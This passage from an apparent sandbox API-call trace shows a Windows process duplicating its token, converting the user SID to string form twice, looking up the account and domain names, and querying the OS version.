| out: TokenHandle=0x67117c7a0*=0x26c) returned 1 [0114.869] DuplicateTokenEx (in: hExistingToken=0x26c, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x270) returned 1 [0114.869] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0114.869] GetLastError () returned 0x7a [0114.869] malloc (_Size=0x2c) returned 0x196ef0d1510 [0114.869] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d1510, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d1510, ReturnLength=0x67117c740) returned 1 [0114.869] IsValidSid (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0114.869] GetLengthSid (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0114.869] malloc (_Size=0x1c) returned 0x196ef0f9df0 [0114.869] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9df0, pSourceSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9df0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0114.869] GetSidIdentifierAuthority (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1522 [0114.869] malloc (_Size=0x18) returned 0x196ef0d2040 [0114.869] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0114.869] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0114.869] malloc (_Size=0x18) returned 0x196ef0d2020 [0114.870] SysStringLen (param_1="S-1-") returned 0x4 [0114.870] SysStringLen (param_1="5") returned 0x1 [0114.870] memcpy (in: _Dst=0x196ee7aa9b8, _Src=0x196ee7aaa78, _Size=0xa | out: _Dst=0x196ee7aa9b8) returned 0x196ee7aa9b8 [0114.870] memcpy (in: _Dst=0x196ee7aa9c0, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee7aa9c0) returned 0x196ee7aa9c0 [0114.870] free (_Block=0x196ef0d2040) [0114.870] free (_Block=0x196ef0d1ae0) [0114.870] GetSidSubAuthorityCount (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1521 [0114.870] GetSidSubAuthority (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d1528 [0114.870] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0114.870] malloc (_Size=0x18) returned 0x196ef0d2080 [0114.870] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0114.870] SysStringLen (param_1="S-1-5") returned 0x5 [0114.870] SysStringLen (param_1="-") returned 0x1 [0114.870] memcpy (in: _Dst=0x196ee7aaa18, _Src=0x196ee7aa9b8, _Size=0xc | out: _Dst=0x196ee7aaa18) returned 0x196ee7aaa18 [0114.870] memcpy (in: _Dst=0x196ee7aaa22, _Src=0x196ee7aaa78, _Size=0x4 | out: _Dst=0x196ee7aaa22) returned 0x196ee7aaa22 [0114.870] free (_Block=0x196ef0d2020) [0114.870] free (_Block=0x196ef0d2080) [0114.870] malloc (_Size=0x18) returned 0x196ef0d1b00 [0114.870] malloc (_Size=0x18) returned 0x196ef0d1e00 [0114.870] SysStringLen (param_1="S-1-5-") returned 0x6 [0114.870] SysStringLen (param_1="21") returned 0x2 [0114.870] memcpy (in: _Dst=0x196ee7aaa78, _Src=0x196ee7aaa18, _Size=0xe | out: _Dst=0x196ee7aaa78) returned 0x196ee7aaa78 [0114.870] memcpy (in: _Dst=0x196ee7aaa84, _Src=0x196ee7aa9b8, _Size=0x6 | out: _Dst=0x196ee7aaa84) returned 0x196ee7aaa84 [0114.871] free (_Block=0x196ef0d1ce0) [0114.871] free (_Block=0x196ef0d1b00) [0114.871] GetSidSubAuthority (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d152c [0114.871] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0114.871] malloc (_Size=0x18) returned 0x196ef0d1b60 [0114.871] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0114.871] SysStringLen (param_1="S-1-5-21") returned 0x8 [0114.871] SysStringLen (param_1="-") returned 0x1 [0114.871] memcpy (in: _Dst=0x196ee7aa9b8, _Src=0x196ee7aaa78, _Size=0x12 | out: _Dst=0x196ee7aa9b8) returned 0x196ee7aa9b8 [0114.871] memcpy (in: _Dst=0x196ee7aa9c8, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee7aa9c8) returned 0x196ee7aa9c8 [0114.871] free (_Block=0x196ef0d1e00) [0114.871] free (_Block=0x196ef0d1b60) [0114.871] malloc (_Size=0x18) returned 0x196ef0d1a60 [0114.871] malloc (_Size=0x18) returned 0x196ef0d1be0 [0114.871] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0114.871] SysStringLen (param_1="1560258661") returned 0xa [0114.871] memcpy (in: _Dst=0x196ee777348, _Src=0x196ee7aa9b8, _Size=0x14 | out: _Dst=0x196ee777348) returned 0x196ee777348 [0114.871] memcpy (in: _Dst=0x196ee77735a, _Src=0x196ee7aaa78, _Size=0x16 | out: _Dst=0x196ee77735a) returned 0x196ee77735a [0114.872] free (_Block=0x196ef0d1ca0) [0114.872] free (_Block=0x196ef0d1a60) [0114.872] GetSidSubAuthority (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d1530 [0114.872] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0114.872] malloc (_Size=0x18) returned 0x196ef0d1de0 [0114.872] malloc (_Size=0x18) returned 0x196ef0d1e00 [0114.872] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0114.872] SysStringLen (param_1="-") returned 0x1 [0114.872] memcpy (in: _Dst=0x196ee777578, _Src=0x196ee777348, _Size=0x28 | out: _Dst=0x196ee777578) returned 0x196ee777578 [0114.872] memcpy (in: _Dst=0x196ee77759e, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee77759e) returned 0x196ee77759e [0114.872] free (_Block=0x196ef0d1be0) [0114.872] free (_Block=0x196ef0d1de0) [0114.872] malloc (_Size=0x18) returned 0x196ef0d1f20 [0114.872] malloc (_Size=0x18) returned 0x196ef0d1f80 [0114.872] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0114.872] SysStringLen (param_1="3990802383") returned 0xa [0114.872] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee777578, _Size=0x2a | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0114.872] memcpy (in: _Dst=0x196ee7aae10, _Src=0x196ee7aa9b8, _Size=0x16 | out: _Dst=0x196ee7aae10) returned 0x196ee7aae10 [0114.872] free (_Block=0x196ef0d1e00) [0114.872] free (_Block=0x196ef0d1f20) [0114.872] GetSidSubAuthority (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d1534 [0114.873] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0114.873] malloc (_Size=0x18) returned 0x196ef0d1a80 [0114.873] malloc (_Size=0x18) returned 0x196ef0d1e20 [0114.873] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0114.873] SysStringLen (param_1="-") returned 0x1 [0114.873] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x3e | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0114.873] memcpy (in: _Dst=0x196ee7b9c34, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7b9c34) returned 0x196ee7b9c34 [0114.873] free (_Block=0x196ef0d1f80) [0114.873] free (_Block=0x196ef0d1a80) [0114.873] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0114.873] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0114.873] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0114.873] SysStringLen (param_1="1811730007") returned 0xa [0114.873] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x40 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0114.873] memcpy (in: _Dst=0x196ee7aae26, _Src=0x196ee7aa9b8, _Size=0x16 | out: _Dst=0x196ee7aae26) returned 0x196ee7aae26 [0114.873] free (_Block=0x196ef0d1e20) [0114.873] free (_Block=0x196ef0d1fa0) [0114.873] GetSidSubAuthority (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d1538 [0114.873] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0114.873] malloc (_Size=0x18) returned 0x196ef0d1f40 [0114.873] malloc (_Size=0x18) returned 0x196ef0d1d20 [0114.873] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0114.873] SysStringLen (param_1="-") returned 0x1 [0114.874] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x54 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0114.874] memcpy (in: _Dst=0x196ee7b9c4a, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7b9c4a) returned 0x196ee7b9c4a [0114.874] free (_Block=0x196ef0d1ba0) [0114.874] free (_Block=0x196ef0d1f40) [0114.874] malloc (_Size=0x18) returned 0x196ef0d1a20 [0114.874] malloc (_Size=0x18) returned 0x196ef0d1f40 [0114.874] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0114.874] SysStringLen (param_1="1000") returned 0x4 [0114.874] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x56 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0114.874] memcpy (in: _Dst=0x196ee7aae3c, _Src=0x196ee7aa9b8, _Size=0xa | out: _Dst=0x196ee7aae3c) returned 0x196ee7aae3c [0114.874] free (_Block=0x196ef0d1d20) [0114.874] free (_Block=0x196ef0d1a20) [0114.874] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0114.874] malloc (_Size=0x5e) returned 0x196ef0d03e0 [0114.874] free (_Block=0x196ef0d1f40) [0114.874] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0114.876] free (_Block=0x196ef0d03e0) [0114.876] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0114.877] GetLastError () returned 0x7a [0114.877] malloc (_Size=0x1a) returned 0x196ef0fa0f0 [0114.877] malloc (_Size=0xe) returned 0x196ef0d1ae0 [0114.877] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0fa0f0, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1ae0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0114.878] malloc (_Size=0x18) returned 0x196ef0d1f00 [0114.878] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0114.878] free (_Block=0x196ef0fa0f0) [0114.878] free (_Block=0x196ef0d1ae0) [0114.878] free (_Block=0x196ef0f9df0) [0114.878] free (_Block=0x196ef0d1ba0) [0114.879] free (_Block=0x196ef0d1f00) [0114.879] free (_Block=0x196ef0d1fa0) [0114.879] free (_Block=0x196ef0d1510) [0114.879] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0114.879] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0114.879] GetLastError () returned 0x7a [0114.879] malloc (_Size=0x2c) returned 0x196ef0d0bd0 [0114.880] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d0bd0, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0bd0, ReturnLength=0x67117c740) returned 1 [0114.880] IsValidSid (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0114.880] GetLengthSid (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0114.880] malloc (_Size=0x1c) returned 0x196ef0f9bb0 [0114.880] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9bb0, pSourceSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9bb0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0114.880] GetSidIdentifierAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0be2 [0114.880] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0114.880] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0114.880] malloc (_Size=0x18) returned 0x196ef0d1e80 [0114.880] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0114.880] SysStringLen (param_1="S-1-") returned 0x4 [0114.880] SysStringLen (param_1="5") returned 0x1 [0114.880] memcpy (in: _Dst=0x196ee7aaa78, _Src=0x196ee7aa9b8, _Size=0xa | out: _Dst=0x196ee7aaa78) returned 0x196ee7aaa78 [0114.880] memcpy (in: _Dst=0x196ee7aaa80, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee7aaa80) returned 0x196ee7aaa80 [0114.880] free (_Block=0x196ef0d1bc0) [0114.880] free (_Block=0x196ef0d1e80) [0114.880] GetSidSubAuthorityCount (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0be1 [0114.880] GetSidSubAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0be8 [0114.880] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0114.880] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0114.880] malloc (_Size=0x18) returned 0x196ef0d1f00 [0114.880] SysStringLen (param_1="S-1-5") returned 0x5 [0114.880] SysStringLen (param_1="-") returned 0x1 [0114.881] memcpy (in: _Dst=0x196ee7aaa18, _Src=0x196ee7aaa78, _Size=0xc | out: _Dst=0x196ee7aaa18) returned 0x196ee7aaa18 [0114.881] memcpy (in: _Dst=0x196ee7aaa22, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7aaa22) returned 0x196ee7aaa22 [0114.881] free (_Block=0x196ef0d1ba0) [0114.881] free (_Block=0x196ef0d1ca0) [0114.881] malloc (_Size=0x18) returned 0x196ef0d2020 [0114.881] malloc (_Size=0x18) returned 0x196ef0d19a0 [0114.881] SysStringLen (param_1="S-1-5-") returned 0x6 [0114.881] SysStringLen (param_1="21") returned 0x2 [0114.881] memcpy (in: _Dst=0x196ee7aa9b8, _Src=0x196ee7aaa18, _Size=0xe | out: _Dst=0x196ee7aa9b8) returned 0x196ee7aa9b8 [0114.881] memcpy (in: _Dst=0x196ee7aa9c4, _Src=0x196ee7aaa78, _Size=0x6 | out: _Dst=0x196ee7aa9c4) returned 0x196ee7aa9c4 [0114.881] free (_Block=0x196ef0d1f00) [0114.881] free (_Block=0x196ef0d2020) [0114.881] GetSidSubAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0bec [0114.881] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0114.881] malloc (_Size=0x18) returned 0x196ef0d19e0 [0114.881] malloc (_Size=0x18) returned 0x196ef0d20e0 [0114.881] SysStringLen (param_1="S-1-5-21") returned 0x8 [0114.881] SysStringLen (param_1="-") returned 0x1 [0114.881] memcpy (in: _Dst=0x196ee7aaa78, _Src=0x196ee7aa9b8, _Size=0x12 | out: _Dst=0x196ee7aaa78) returned 0x196ee7aaa78 [0114.881] memcpy (in: _Dst=0x196ee7aaa88, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee7aaa88) returned 0x196ee7aaa88 [0114.881] free (_Block=0x196ef0d19a0) [0114.882] free (_Block=0x196ef0d19e0) [0114.882] malloc (_Size=0x18) returned 0x196ef0d1c20 [0114.882] malloc (_Size=0x18) returned 0x196ef0d19e0 [0114.882] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0114.882] SysStringLen (param_1="1560258661") returned 0xa [0114.882] memcpy (in: _Dst=0x196ee777348, _Src=0x196ee7aaa78, _Size=0x14 | out: _Dst=0x196ee777348) returned 0x196ee777348 [0114.882] memcpy (in: _Dst=0x196ee77735a, _Src=0x196ee7aa9b8, _Size=0x16 | out: _Dst=0x196ee77735a) returned 0x196ee77735a [0114.882] free (_Block=0x196ef0d20e0) [0114.882] free (_Block=0x196ef0d1c20) [0114.882] GetSidSubAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0bf0 [0114.882] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0114.882] malloc (_Size=0x18) returned 0x196ef0d1c60 [0114.882] malloc (_Size=0x18) returned 0x196ef0d1a20 [0114.882] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0114.882] SysStringLen (param_1="-") returned 0x1 [0114.882] memcpy (in: _Dst=0x196ee777578, _Src=0x196ee777348, _Size=0x28 | out: _Dst=0x196ee777578) returned 0x196ee777578 [0114.882] memcpy (in: _Dst=0x196ee77759e, _Src=0x196ee7aaa78, _Size=0x4 | out: _Dst=0x196ee77759e) returned 0x196ee77759e [0114.882] free (_Block=0x196ef0d19e0) [0114.882] free (_Block=0x196ef0d1c60) [0114.882] malloc (_Size=0x18) returned 0x196ef0d1f40 [0114.882] malloc (_Size=0x18) returned 0x196ef0d1e80 [0114.882] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0114.882] SysStringLen (param_1="3990802383") returned 0xa [0114.883] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee777578, _Size=0x2a | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0114.883] memcpy (in: _Dst=0x196ee7b9c20, _Src=0x196ee7aaa78, _Size=0x16 | out: _Dst=0x196ee7b9c20) returned 0x196ee7b9c20 [0114.883] free (_Block=0x196ef0d1a20) [0114.883] free (_Block=0x196ef0d1f40) [0114.883] GetSidSubAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0bf4 [0114.883] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0114.883] malloc (_Size=0x18) returned 0x196ef0d1d00 [0114.883] malloc (_Size=0x18) returned 0x196ef0d1f40 [0114.883] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0114.883] SysStringLen (param_1="-") returned 0x1 [0114.883] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x3e | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0114.883] memcpy (in: _Dst=0x196ee7aae24, _Src=0x196ee7aaa78, _Size=0x4 | out: _Dst=0x196ee7aae24) returned 0x196ee7aae24 [0114.883] free (_Block=0x196ef0d1e80) [0114.883] free (_Block=0x196ef0d1d00) [0114.883] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0114.883] malloc (_Size=0x18) returned 0x196ef0d2080 [0114.883] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0114.883] SysStringLen (param_1="1811730007") returned 0xa [0114.883] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x40 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0114.883] memcpy (in: _Dst=0x196ee7b9c36, _Src=0x196ee7aaa78, _Size=0x16 | out: _Dst=0x196ee7b9c36) returned 0x196ee7b9c36 [0114.883] free (_Block=0x196ef0d1f40) [0114.884] free (_Block=0x196ef0d1ec0) [0114.884] GetSidSubAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0bf8 [0114.884] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0114.884] malloc (_Size=0x18) returned 0x196ef0d20c0 [0114.884] malloc (_Size=0x18) returned 0x196ef0d1c60 [0114.884] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0114.884] SysStringLen (param_1="-") returned 0x1 [0114.884] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x54 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0114.884] memcpy (in: _Dst=0x196ee7aae3a, _Src=0x196ee7aaa78, _Size=0x4 | out: _Dst=0x196ee7aae3a) returned 0x196ee7aae3a [0114.884] free (_Block=0x196ef0d2080) [0114.884] free (_Block=0x196ef0d20c0) [0114.884] malloc (_Size=0x18) returned 0x196ef0d1f20 [0114.884] malloc (_Size=0x18) returned 0x196ef0d1f40 [0114.884] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0114.884] SysStringLen (param_1="1000") returned 0x4 [0114.884] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x56 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0114.884] memcpy (in: _Dst=0x196ee7b9c4c, _Src=0x196ee7aaa78, _Size=0xa | out: _Dst=0x196ee7b9c4c) returned 0x196ee7b9c4c [0114.884] free (_Block=0x196ef0d1c60) [0114.884] free (_Block=0x196ef0d1f20) [0114.884] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0114.884] malloc (_Size=0x5e) returned 0x196ef0d03e0 [0114.885] free (_Block=0x196ef0d1f40) [0114.885] malloc (_Size=0x18) returned 0x196ef0d1a40 [0114.885] free (_Block=0x196ef0d03e0) [0114.885] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0114.886] GetLastError () returned 0x7a [0114.886] malloc (_Size=0x1a) returned 0x196ef0f9fa0 [0114.886] malloc (_Size=0xe) returned 0x196ef0d1b20 [0114.886] LookupAccountSidW (in: lpSystemName=0x0, 